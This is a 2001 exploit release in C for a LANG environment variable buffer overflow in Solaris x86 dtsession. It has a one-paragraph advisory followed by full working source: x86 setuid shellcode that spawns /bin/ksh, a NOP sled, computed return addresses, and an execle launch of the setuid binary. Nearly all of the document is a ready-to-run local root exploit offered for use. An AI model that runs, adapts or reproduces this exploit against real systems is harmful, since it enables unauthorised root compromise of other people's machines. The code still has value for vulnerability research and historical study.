http://LSD-PL.NET/files/get?SOLARIS/solx86_dtsession

There exists a buffer overflow vulnerability in the way the LANG
environment variable is handled by the dtsession program. When
appropriately exploited it can lead to a local root compromise on a
vulnerable system. 

/*## copyright LAST STAGE OF DELIRIUM mar 2001 poland        *://lsd-pl.net/ #*/
/*## /usr/dt/bin/dtsession                                                   #*/

#define NOPNUM 6000
#define ADRNUM 400
#define PCHNUM 6000
#define JMPNUM 6000

char setuidshellcode[]=
    "\x33\xc0"             /* xorl    %eax,%eax              */
    "\xeb\x08"             /* jmp     <setuidshellcode+12>   */
    "\x5f"                 /* popl    %edi                   */
    "\x47"                 /* incl    %edi                   */
    "\xab"                 /* stosl   %eax,%es:(%edi)        */
    "\x88\x47\x01"         /* movb    %al,0x1(%edi)          */
    "\xeb\x0d"             /* jmp     <setuidshellcode+25>   */
    "\xe8\xf3\xff\xff\xff" /* call    <setuidshellcode+4>    */
    "\x9a\xff\xff\xff\xff"
    "\x07\xff"
    "\xc3"                 /* ret                            */
    "\x33\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\xb0\x17"             /* movb    $0x17,%al              */
    "\xe8\xee\xff\xff\xff" /* call    <setuidshellcode+17>   */
    "\xeb\x16"             /* jmp     <setuidshellcode+59>   */
    "\x33\xd2"             /* xorl    %edx,%edx              */
    "\x58"                 /* popl    %eax                   */
    "\x8d\x78\x14"         /* leal    0x14(%eax),edi         */
    "\x52"                 /* pushl   %edx                   */
    "\x57"                 /* pushl   %edi                   */
    "\x50"                 /* pushl   %eax                   */
    "\xab"                 /* stosl   %eax,%es:(%edi)        */
    "\x92"                 /* xchgl   %eax,%edx              */
    "\xab"                 /* stosl   %eax,%es:(%edi)        */
    "\x88\x42\x08"         /* movb    %al,0x7(%edx)          */
    "\xb0\x3b"             /* movb    $0x3b,%al              */
    "\xe8\xd6\xff\xff\xff" /* call    <setuidshellcode+17>   */
    "\xe8\xe5\xff\xff\xff" /* call    <setuidshellcode+37>   */
    "/bin/ksh"
;

char jump[]=
    "\x8b\xc4"             /* movl    %esp,%eax              */
    "\xc3"                 /* ret                            */
;

main(int argc,char **argv){
    char buffer[20000],*b,adr[4],pch[4],jmp[4],*envp[4],display[128];
    unsigned int i;

    printf("copyright LAST STAGE OF DELIRIUM mar 2001 poland  //lsd-pl.net/\n");
    printf("/usr/dt/bin/dtsession for solaris 2.7 (2.6,2.8 ?) x86\n\n");

    if(argc!=2){
        printf("usage: %s xserver:display\n",argv[0]);
        exit(-1);
    }

    *((unsigned int*)adr)=((*(unsigned int(*)())jump)())+3540+3000-0x4d0;
    *((unsigned int*)pch)=((*(unsigned int(*)())jump)())+3540+3000+6000;
    *((unsigned int*)jmp)=((*(unsigned int(*)())jump)())+3540+3000+6000+6000;

    *((unsigned int*)adr)=(((i=*((unsigned int*)adr))>>8))|(i<<24);

    sprintf(display,"DISPLAY=%s",argv[1]);
    envp[0]=&buffer[0];
    envp[1]=&buffer[19000];
    envp[2]=display;
    envp[3]=0;

    b=buffer;
    sprintf(b,"xxx=");
    b+=4;
    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
    for(i=0;i<JMPNUM;i++) *b++=jmp[i%4];
    for(i=0;i<NOPNUM;i++) *b++=0x90;
    for(i=0;i<strlen(setuidshellcode);i++) *b++=setuidshellcode[i];
    *b=0;

    b=&buffer[19000];
    sprintf(b,"LANG=");
    b+=5;
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b=0;

    execle("/usr/dt/bin/dtsession","lsd",0,envp);
}